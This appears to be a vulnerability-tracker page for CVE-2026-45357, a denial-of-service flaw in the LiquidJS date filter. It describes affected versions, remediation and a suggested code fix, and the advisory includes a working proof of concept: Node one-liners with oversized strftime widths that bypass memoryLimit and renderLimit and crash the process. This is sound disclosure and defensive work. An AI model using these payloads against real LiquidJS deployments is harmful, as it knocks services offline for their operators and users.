Live › vulnerability › CVE-2026-45357
Go to dashboardLiquidJS's date filter passes an unbounded width from a format string into a padding loop that does not count against memoryLimit or renderLimit. An attacker who controls the date format in a template can make a small template produce megabytes of output and heavy CPU use, or crash the Node process with out-of-memory.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 15:04 UTC, 0h before NVD. All times on this page are UTC.
Applications that render LiquidJS templates where a context value, such as a profile field or query parameter, reaches the format argument of the date filter. Templates with fixed date formats are not directly exposed. Teams that never render user-influenced templates can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| liquidjs | npm | <= 10.25.7 | 10.26.0 |
npm ls liquidjs in the project to find the installed liquidjs version.date: filter calls whose format argument comes from a context value or user input.liquidjs to 10.26.0 or later.date filter.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
Setup: npm install [email protected].
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.Two complementary fixes:
pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
str = String(str)
const n = length - str.length
if (n <= 0) return str
return add === ((s, c) => c + s)
? ch.repeat(n) + str
: str + ch.repeat(n)
}
padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
This page as .md · .json · in your agent: get_signal("CVE-2026-45357")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.